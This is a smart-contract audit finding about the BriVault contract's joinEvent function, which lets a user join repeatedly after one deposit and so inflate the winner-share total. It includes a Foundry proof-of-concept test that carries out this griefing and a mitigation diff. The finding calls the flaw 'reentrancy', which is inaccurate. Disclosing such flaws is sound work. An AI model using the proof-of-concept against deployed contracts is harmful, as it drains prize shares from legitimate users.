Root + Impact
Description
-
The protocol is prone to a kind of reentrancy attack which will lead to the winners griefing.
-
Due to not following the CEI pattern and the missing update of the BriVault::stakedAsset state variable in the BriVault::joinEvent function, a user can call it several times with a one-time deposit.
-
Since the user's selected team is stored in a mapping (BriVault::userToCountry), the user can neither increase their own chance of winning by participating multiple times for different teams nor rise their share of the prize if they bet several times on the same winner team. Eventually, the last option is stored in the mapping. However, it pollutes the calculations and falsely increases the total number of shares (caused by fake participation). Hence, reducing the share of the actual winners from the prize.
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
@> usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
function _getWinnerShares () internal returns (uint256) {
@> for (uint256 i = 0; i < usersAddress.length; ++i){
@> address user = usersAddress[i];
@> totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}
Risk
Likelihood: High
Impact: High
-
By exploiting this vulnerability the malicious user can cause miscalcalutions and eventually getting far less shares from the prize pool by the winners.
-
In addition, it breaks the contract's invariant of users should only join once mentioned in the protocolFlow.txt file.
-
The malicious user themself will also suffer from this if their chosen team happens to be the winner.
-
The remaining assets will remain in the vault.
Proof of Concept
You can see the exploit in action by copy/pasting the following function to the briVault.t.sol test file and running it.
function test_multipleJoinEventCallsCauseGriefing() public {
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
for (uint256 i = 0; i < 10; ++i) {
briVault.joinEvent(10);
}
briVault.joinEvent(20);
briVault.cancelParticipation();
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
vm.stopPrank();
uint256 user2BalanceBefore = IERC20(address(mockToken)).balanceOf(
user2
);
uint256 vaultBalanceBefore = IERC20(address(mockToken)).balanceOf(
address(briVault)
);
vm.startPrank(user2);
briVault.withdraw();
vm.stopPrank();
uint256 user2BalanceAfter = IERC20(address(mockToken)).balanceOf(user2);
uint256 vaultBalanceAfter = IERC20(address(mockToken)).balanceOf(
address(briVault)
);
assert(user2BalanceAfter - user2BalanceBefore < 1 ether);
assert(vaultBalanceBefore - vaultBalanceAfter > 0);
}
Recommended Mitigation
By making the following changes in the BriVault::deposit and BriVault::joinEvent functions, and defining the two custom errors, we can elimintate this issue as follows:
+ error alreadyRegistered();
+ error alreadyDeposited();
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
// charge on a percentage basis points
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
+ if (balanceOf(msg.sender) != 0) {
+ revert alreadyDeposited();
+ }
+ userToCountry[msg.sender] = "None";
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
_mint(msg.sender, participantShares);
emit deposited (receiver, stakeAsset);
return participantShares;
}
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
+ if (
+ keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
+ keccak256(abi.encodePacked("None"))
+ ) {
+ revert alreadyRegistered();
+ }
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
